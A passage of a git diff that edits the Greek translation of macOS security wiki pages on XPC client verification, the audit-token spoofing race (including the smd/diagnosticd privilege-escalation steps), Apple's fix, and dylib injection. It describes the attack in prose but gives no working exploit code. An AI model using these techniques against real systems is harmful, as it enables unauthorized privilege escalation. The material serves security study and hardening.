διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (επικύρωση ID ομάδας). +2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (έλεγχος ταυτότητας ομάδας). - Αν αυτό **δεν επαληθευτεί**, **οποιοδήποτε πιστοποιητικό προγραμματιστή** από την Apple μπορεί να χρησιμοποιηθεί για υπογραφή και σύνδεση με την υπηρεσία. 3. Έλεγχος αν η διαδικασία που συνδέεται **περιέχει ένα κατάλληλο bundle ID**. - Αν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **υπογεγραμμένο από την ίδια οργάνωση** θα μπορούσε να χρησιμοποιηθεί για αλληλεπίδραση με την υπηρεσία XPC. -4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει έναν **κατάλληλο αριθμό έκδοσης λογισμικού**. -- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε διαδικαστική ένεση, θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή. -5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD). -1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα**. +4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει **κατάλληλο αριθμό έκδοσης λογισμικού**. +- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε ένεση διαδικασίας θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή. +5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD) +1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα** 6. Έλεγχος αν η διαδικασία που συνδέεται έχει μια **εξουσιοδότηση** που της επιτρέπει να συνδεθεί με την υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple. -7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**. -- Οι προγραμματιστές **σπάνια χρησιμοποιούν το API token ελέγχου** καθώς είναι **ιδιωτικό**, οπότε η Apple θα μπορούσε να **αλλάξει** ανά πάσα στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store. -- Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη. +7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **audit token του πελάτη που συνδέεται** **αντί** για το ID της διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**. +- Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API του audit token** καθώς είναι **ιδιωτική**, οπότε η Apple θα μπορούσε να **αλλάξει** οποιαδήποτε στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store. +- Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη - **`xpc_dictionary_get_audit_token`** θα πρέπει να χρησιμοποιείται αντί για **`xpc_connection_get_audit_token`**, καθώς η τελευταία θα μπορούσε επίσης να είναι [ευάλωτη σε ορισμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). ### Communication Attacks @@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md ### Trustcache - Downgrade Attacks Prevention -Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο επιτρεπόμενα μη τροποποιημένα δυαδικά αρχεία να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων. +Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο τα επιτρεπόμενα μη τροποποιημένα δυαδικά αρχεία να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων. ### Code Examples @@ -51,7 +51,7 @@ return YES; ``` Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που θα έπρεπε να χρησιμοποιείται αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν θα έπρεπε να χρησιμοποιείται). -Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι όπως: +Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι σαν: ```objectivec [...] SecRequirementRef requirementRef = NULL; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index b677ed8c0..874e727ac 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -13,11 +13,11 @@ {{#endref}} Π προς το παρόν θυμηθείτε ότι ([ορισμός από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Τα mach messages αποστέλλονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν δέκτη και πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά σε οποιαδήποτε στιγμή **μόνο μία διαδικασία μπορεί να διαβάσει από αυτό**. Όπως και οι περιγραφείς αρχείων και οι υποδοχές, τα mach ports κατανέμονται και διαχειρίζονται από τον πυρήνα και οι διαδικασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποια από τα mach ports τους θέλουν να χρησιμοποιήσουν. +Τα mach messages αποστέλλονται μέσω ενός _mach port_, το οποίο είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη και πολλούς αποστολείς** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διαδικασίες μπορούν να στείλουν μηνύματα** σε ένα mach port, αλλά σε οποιαδήποτε στιγμή **μόνο μία διαδικασία μπορεί να διαβάσει από αυτό**. Όπως και οι περιγραφείς αρχείων και οι υποδοχές, τα mach ports κατανέμονται και διαχειρίζονται από τον πυρήνα και οι διαδικασίες βλέπουν μόνο έναν ακέραιο αριθμό, τον οποίο μπορούν να χρησιμοποιήσουν για να υποδείξουν στον πυρήνα ποια από τα mach ports τους θέλουν να χρησιμοποιήσουν. ## XPC Connection -Αν δεν ξέρετε πώς να καθιερώσετε μια XPC σύνδεση, ελέγξτε: +Αν δεν ξέρετε πώς να δημιουργηθεί μια XPC σύνδεση, ελέγξτε: {{#ref}} ../ @@ -27,13 +27,13 @@ Αυτό που είναι ενδιαφέρον να γνωρίζετε είναι ότι **η αφαίρεση του XPC είναι μια σύνδεση ένα προς ένα**, αλλά βασίζεται σε μια τεχνολογία που **μπορεί να έχει πολλούς αποστολείς, οπότε:** -- Τα mach ports είναι ένας δέκτης, **πολλοί αποστολείς**. +- Τα mach ports είναι ένας μόνο δέκτης, **πολλοί αποστολείς**. - Το audit token μιας XPC σύνδεσης είναι το audit token που **αντιγράφεται από το πιο πρόσφατα ληφθέν μήνυμα**. - Η απόκτηση του **audit token** μιας XPC σύνδεσης είναι κρίσιμη για πολλές **ελέγχους ασφαλείας**. Αν και η προηγούμενη κατάσταση ακούγεται υποσχόμενη, υπάρχουν ορισμένα σενάρια όπου αυτό δεν θα προκαλέσει προβλήματα ([από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): -- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία, **δεν έχει καθιερωθεί ακόμη καμία σύνδεση**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**. +- Τα audit tokens χρησιμοποιούνται συχνά για έναν έλεγχο εξουσιοδότησης για να αποφασιστεί αν θα γίνει αποδεκτή μια σύνδεση. Καθώς αυτό συμβαίνει χρησιμοποιώντας ένα μήνυμα προς την υπηρεσία port, **δεν έχει δημιουργηθεί ακόμη σύνδεση**. Περισσότερα μηνύματα σε αυτό το port θα αντιμετωπιστούν απλώς ως επιπλέον αιτήματα σύνδεσης. Έτσι, οποιοσδήποτε **έλεγχος πριν από την αποδοχή μιας σύνδεσης δεν είναι ευάλωτος** (αυτό σημαίνει επίσης ότι μέσα στο `-listener:shouldAcceptNewConnection:` το audit token είναι ασφαλές). Επομένως, **αναζητούμε XPC συνδέσεις που επαληθεύουν συγκεκριμένες ενέργειες**. - Οι χειριστές γεγονότων XPC διαχειρίζονται συγχρονισμένα. Αυτό σημαίνει ότι ο χειριστής γεγονότος για ένα μήνυμα πρέπει να ολοκληρωθεί πριν κληθεί για το επόμενο, ακόμη και σε ταυτόχρονες ουρές εκτέλεσης. Έτσι, μέσα σε έναν **χειριστή γεγονότος XPC, το audit token δεν μπορεί να αντικατασταθεί** από άλλα κανονικά (μη απαντητικά!) μηνύματα. Δύο διαφορετικές μέθοδοι που μπορεί να είναι εκμεταλλεύσιμες: @@ -41,14 +41,14 @@ 1. Variant1: - **Εκμετάλλευση** **συνδέεται** με την υπηρεσία **A** και την υπηρεσία **B** - Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιακή λειτουργία** στην υπηρεσία A που ο χρήστης δεν μπορεί -- Η υπηρεσία **A** καλεί **`xpc_connection_get_audit_token`** ενώ _**δεν**_ είναι μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε μια **`dispatch_async`**. +- Η υπηρεσία **A** καλεί **`xpc_connection_get_audit_token`** ενώ _**δεν**_ είναι μέσα στον **χειριστή γεγονότος** για μια σύνδεση σε μια **`dispatch_async`**. - Έτσι, ένα **διαφορετικό** μήνυμα θα μπορούσε να **αντικαταστήσει το Audit Token** επειδή αποστέλλεται ασύγχρονα έξω από τον χειριστή γεγονότων. -- Η εκμετάλλευση περνά στην **υπηρεσία B το δικαίωμα ΑΠΟΣΤΟΛΗΣ στην υπηρεσία A**. +- Η εκμετάλλευση περνά στη **υπηρεσία B το δικαίωμα ΑΠΟΣΤΟΛΗΣ στην υπηρεσία A**. - Έτσι, η svc **B** θα είναι στην πραγματικότητα **αποστέλλοντας** τα **μηνύματα** στην υπηρεσία **A**. - Η **εκμετάλλευση** προσπαθεί να **καλέσει** την **προνομιακή ενέργεια.** Σε μια RC η svc **A** **ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ **η svc B αντικαθιστά το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιακή ενέργεια). 2. Variant 2: - Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιακή λειτουργία** στην υπηρεσία A που ο χρήστης δεν μπορεί -- Η εκμετάλλευση συνδέεται με **την υπηρεσία A** που **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**. +- Η εκμετάλλευση συνδέεται με **την υπηρεσία A**, η οποία **στέλνει** στην εκμετάλλευση ένα **μήνυμα που αναμένει απάντηση** σε μια συγκεκριμένη **θύρα απάντησης**. - Η εκμετάλλευση στέλνει **στην υπηρεσία** B ένα μήνυμα περνώντας **αυτή τη θύρα απάντησης**. - Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία A, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθώντας να **φτάσει σε μια προνομιακή λειτουργία** και αναμένοντας ότι η απάντηση από την υπηρεσία B θα αντικαταστήσει το Audit token τη σωστή στιγμή (Race Condition). @@ -58,7 +58,7 @@ - Δύο mach υπηρεσίες **`A`** και **`B`** στις οποίες μπορούμε και οι δύο να συνδεθούμε (βάσει του προφίλ sandbox και των ελέγχων εξουσιοδότησης πριν από την αποδοχή της σύνδεσης). - _**A**_ πρέπει να έχει έναν **έλεγχο εξουσιοδότησης** για μια συγκεκριμένη ενέργεια που μπορεί να περάσει η **`B`** (αλλά η εφαρμογή μας δεν μπορεί). -- Για παράδειγμα, αν η B έχει κάποιες **δικαιοδοσίες** ή εκτελείται ως **root**, μπορεί να της επιτραπεί να ζητήσει από την A να εκτελέσει μια προνομιακή ενέργεια. +- Για παράδειγμα, αν η B έχει κάποιες **δικαιοδοσίες** ή εκτελείται ως **root**, μπορεί να του επιτρέψει να ζητήσει από την A να εκτελέσει μια προνομιακή ενέργεια. - Για αυτόν τον έλεγχο εξουσιοδότησης, η **`A`** αποκτά το audit token ασύγχρονα, για παράδειγμα καλώντας `xpc_connection_get_audit_token` από **`dispatch_async`**. > [!CAUTION] @@ -72,28 +72,28 @@ 1. Ξεκινήστε μια **σύνδεση** με την υπηρεσία που ονομάζεται `smd` χρησιμοποιώντας το πρότυπο XPC. 2. Δημιουργήστε μια δευτερεύουσα **σύνδεση** με `diagnosticd`. Αντίθετα με τη φυσιολογική διαδικασία, αντί να δημιουργήσετε και να στείλετε δύο νέες mach ports, το δικαίωμα αποστολής του πελάτη αντικαθίσταται με ένα αντίγραφο του **δικαιώματος αποστολής** που σχετίζεται με τη σύνδεση `smd`. -3. Ως αποτέλεσμα, τα μηνύματα XPC μπορούν να αποστέλλονται στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση. +3. Ως αποτέλεσμα, τα XPC μηνύματα μπορούν να αποσταλούν στο `diagnosticd`, αλλά οι απαντήσεις από το `diagnosticd` ανακατευθύνονται στο `smd`. Για το `smd`, φαίνεται ότι τα μηνύματα και από τον χρήστη και από το `diagnosticd` προέρχονται από την ίδια σύνδεση. ![Image depicting the exploit process](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) -4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με αυξημένα προνόμια. -5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της συνάρτησης `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο εφαρμογής του χρήστη). Ωστόσο, η συνάρτηση `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`. +4. Το επόμενο βήμα περιλαμβάνει την εντολή στο `diagnosticd` να ξεκινήσει την παρακολούθηση μιας επιλεγμένης διαδικασίας (πιθανώς της δικής του του χρήστη). Ταυτόχρονα, μια πλημμύρα κανονικών 1004 μηνυμάτων αποστέλλεται στο `smd`. Ο σκοπός εδώ είναι να εγκαταστήσει ένα εργαλείο με ανυψωμένα δικαιώματα. +5. Αυτή η ενέργεια προκαλεί μια race condition μέσα στη λειτουργία `handle_bless`. Ο χρόνος είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διαδικασίας του χρήστη (καθώς το προνομιακό εργαλείο βρίσκεται στο πακέτο της εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, συγκεκριμένα μέσα στη υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο audit token που ανήκει στο `diagnosticd`. ## Variant 2: reply forwarding -Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνίας), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των μηνυμάτων απάντησης έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση: +Σε ένα περιβάλλον XPC (Διαδικασία-Διαδικασία Επικοινωνία), αν και οι χειριστές γεγονότων δεν εκτελούνται ταυτόχρονα, η διαχείριση των απαντητικών μηνυμάτων έχει μια μοναδική συμπεριφορά. Συγκεκριμένα, υπάρχουν δύο διακριτές μέθοδοι για την αποστολή μηνυμάτων που αναμένουν απάντηση: -1. **`xpc_connection_send_message_with_reply`**: Εδώ, το μήνυμα XPC λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά. -2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το μήνυμα XPC λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης. +1. **`xpc_connection_send_message_with_reply`**: Εδώ, το XPC μήνυμα λαμβάνεται και επεξεργάζεται σε μια καθορισμένη ουρά. +2. **`xpc_connection_send_message_with_reply_sync`**: Αντίθετα, σε αυτή τη μέθοδο, το XPC μήνυμα λαμβάνεται και επεξεργάζεται στην τρέχουσα ουρά εκτέλεσης. Αυτή η διάκριση είναι κρίσιμη επειδή επιτρέπει την πιθανότητα **τα πακέτα απάντησης να αναλύονται ταυτόχρονα με την εκτέλεση ενός χειριστή γεγονότων XPC**. Σημειωτέον, ενώ το `_xpc_connection_set_creds` εφαρμόζει κλείδωμα για να προστατεύσει από την μερική αντικατάσταση του audit token, δεν επεκτείνει αυτή την προστασία σε ολόκληρο το αντικείμενο σύνδεσης. Ως εκ τούτου, αυτό δημιουργεί μια ευπάθεια όπου το audit token μπορεί να αντικατασταθεί κατά τη διάρκεια της περιόδου μεταξύ της ανάλυσης ενός πακέτου και της εκτέλεσης του χειριστή γεγονότων του. Για να εκμεταλλευτείτε αυτή την ευπάθεια, απαιτείται η εξής ρύθμιση: -- Δύο mach υπηρεσίες, αναφερόμενες ως **`A`** και **`B`**, και οι δύο μπορούν να καθιερώσουν μια σύνδεση. +- Δύο mach υπηρεσίες, αναφερόμενες ως **`A`** και **`B`**, και οι δύο μπορούν να δημιουργήσουν μια σύνδεση. - Η υπηρεσία **`A`** θα πρέπει να περιλαμβάνει έναν έλεγχο εξουσιοδότησης για μια συγκεκριμένη ενέργεια που μόνο η **`B`** μπορεί να εκτελέσει (η εφαρμογή του χρήστη δεν μπορεί). - Η υπηρεσία **`A`** θα πρέπει να στείλει ένα μήνυμα που αναμένει απάντηση. -- Ο χρήστης μπορεί να στείλει ένα μήνυμα στην **`B`** στο οποίο θα απαντήσει. +- Ο χρήστης μπορεί να στείλει ένα μήνυμα στην **`B`** που θα απαντήσει. Η διαδικασία εκμετάλλευσης περιλαμβάνει τα εξής βήματα: @@ -109,16 +109,16 @@ ## Discovery Problems -- **Δυσκολίες στην Εύρεση Περιπτώσεων**: Η αναζήτηση για περιπτώσεις χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά. -- **Μεθοδολογία**: Χρησιμοποιήθηκε το Frida για να συνδεθεί η συνάρτηση `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση. -- **Εργαλεία Ανάλυσης**: Χρησιμοποιήθηκαν εργαλεία όπως IDA/Ghidra για την εξέταση προσβάσιμων mach υπηρεσιών, αλλά η διαδικασία ήταν χρονοβόρα, περιπλέκεται από κλήσεις που περιλαμβάνουν την κοινή μνήμη dyld. -- **Περιορισμοί Σενάριων**: Οι προσπάθειες να αυτοματοποιηθούν οι αναλύσεις για κλήσεις προς `xpc_connection_get_audit_token` από μπλοκ `dispatch_async` εμποδίστηκαν από τις πολυπλοκότητες στην ανάλυση μπλοκ και τις αλληλεπιδράσεις με την κοινή μνήμη dyld. +- **Δυσκολίες στην Εύρεση Περιστατικών**: Η αναζήτηση για περιστατικά χρήσης του `xpc_connection_get_audit_token` ήταν δύσκολη, τόσο στατικά όσο και δυναμικά. +- **Μεθοδολογία**: Η Frida χρησιμοποιήθηκε για να συνδεθεί στη λειτουργία `xpc_connection_get_audit_token`, φιλτράροντας κλήσεις που δεν προέρχονται από χειριστές γεγονότων. Ωστόσο, αυτή η μέθοδος περιορίστηκε στη συνδεδεμένη διαδικασία και απαιτούσε ενεργή χρήση. +- **Εργαλεία Ανάλυσης**: Εργαλεία όπως το IDA/Ghidra χρησιμοποιήθηκαν για την εξέταση προσβάσιμων mach υπηρεσιών, αλλά η διαδικασία ήταν χρονοβόρα, περιπλέκοντας τις κλήσεις που περιλάμβαναν την κοινή μνήμη dyld. +- **Περιορισμοί Σενάριων**: Οι προσπάθειες να αυτοματοποιηθούν οι αναλύσεις για κλήσεις προς το `xpc_connection_get_audit_token` από μπλοκ `dispatch_async` εμποδίστηκαν από τις πολυπλοκότητες στην ανάλυση μπλοκ και τις αλληλεπιδράσεις με την κοινή μνήμη dyld. ## The fix - **Αναφερόμενα Ζητήματα**: Υποβλήθηκε αναφορά στην Apple που περιγράφει τα γενικά και συγκεκριμένα ζητήματα που βρέθηκαν στο `smd`. - **Απάντηση της Apple**: Η Apple αντιμετώπισε το ζήτημα στο `smd` αντικαθιστώντας το `xpc_connection_get_audit_token` με το `xpc_dictionary_get_audit_token`. -- **Φύση της Διόρθωσης**: Η συνάρτηση `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που σχετίζεται με το ληφθέν μήνυμα XPC. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`. +- **Φύση της Διόρθωσης**: Η λειτουργία `xpc_dictionary_get_audit_token` θεωρείται ασφαλής καθώς ανακτά το audit token απευθείας από το mach μήνυμα που συνδέεται με το ληφθέν XPC μήνυμα. Ωστόσο, δεν είναι μέρος του δημόσιου API, παρόμοια με το `xpc_connection_get_audit_token`. - **Απουσία Ευρύτερης Διόρθωσης**: Παραμένει ασαφές γιατί η Apple δεν υλοποίησε μια πιο εκτενή διόρθωση, όπως η απόρριψη μηνυμάτων που δεν ευθυγραμμίζονται με το αποθηκευμένο audit token της σύνδεσης. Η πιθανότητα νόμιμων αλλαγών audit token σε ορισμένα σενάρια (π.χ. χρήση `setuid`) μπορεί να είναι παράγοντας. - **Τρέχουσα Κατάσταση**: Το ζήτημα παραμένει στο iOS 17 και macOS 14, αποτελώντας πρόκληση για όσους επιδιώκουν να το εντοπίσουν και να το κατανοήσουν. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index 4f43dbbe9..6e642d29d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -19,19 +19,19 @@ macos-dyld-process.md Αυτή η τεχνική μπορεί επίσης να **χρησιμοποιηθεί ως τεχνική ASEP** καθώς κάθε εφαρμογή που είναι εγκατεστημένη έχει ένα plist που ονομάζεται "Info.plist" που επιτρέπει την **ανάθεση περιβαλλοντικών μεταβλητών** χρησιμοποιώντας ένα κλειδί που ονομάζεται `LSEnvironmental`. -> [!NOTE] +> [!TIP] > Από το 2012, **η Apple έχει μειώσει δραστικά τη δύναμη** του **`DYLD_INSERT_LIBRARIES`**. > -> Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη λειτουργία **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται. +> Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη συνάρτηση **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται. > -> Στη λειτουργία **`processRestricted`** ορίζεται ο λόγος της περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι: +> Στη συνάρτηση **`processRestricted`** ορίζεται ο λόγος της περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι: > > - Το δυαδικό αρχείο είναι `setuid/setgid` > - Υπάρχει τμήμα `__RESTRICT/__restrict` στο macho δυαδικό αρχείο. > - Το λογισμικό έχει δικαιώματα (hardened runtime) χωρίς το δικαίωμα [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) -> - Ελέγξτε τα **δικαιώματα** ενός δυαδικού αρχείου με: `codesign -dv --entitlements :- ` +> - Ελέγξτε τα **δικαιώματα** ενός δυαδικού αρχείου με: `codesign -dv --entitlements :- ` > -> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της λειτουργίας **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της λειτουργίας** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS). +> Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτή τη λογική στο δεύτερο μέρος της συνάρτησης **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι αρχής της συνάρτησης** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με το iOS ή την προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν στο macOS. ### Library Validation @@ -57,28 +57,28 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md ## Dylib Hijacking > [!CAUTION] -> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθηκών ισχύουν επίσης** για την εκτέλεση επιθέσεων Dylib hijacking. +> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθήκης ισχύουν επίσης** για την εκτέλεση επιθέσεων Dylib hijacking. -Όπως και στα Windows, στο MacOS μπορείτε επίσης να **καταλάβετε dylibs** για να κάνετε τις **εφαρμογές** να **εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταλάβετε μια βιβλιοθήκη).\ -Ωστόσο, ο τρόπος που οι εφαρμογές **MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι προγραμματιστές **malware** μπορούν ακόμα να χρησιμοποιήσουν αυτή την τεχνική για **stealth**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν προνόμια είναι πολύ χαμηλότερη**. +Όπως και στα Windows, στο MacOS μπορείτε επίσης να **καταχραστείτε dylibs** για να κάνετε τις **εφαρμογές** να **εκτελούν** **τυχαίο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` bundle και να καταχραστείτε μια βιβλιοθήκη).\ +Ωστόσο, ο τρόπος που οι **εφαρμογές MacOS** **φορτώνουν** βιβλιοθήκες είναι **πιο περιορισμένος** από ότι στα Windows. Αυτό σημαίνει ότι οι **προγραμματιστές κακόβουλου λογισμικού** μπορούν να 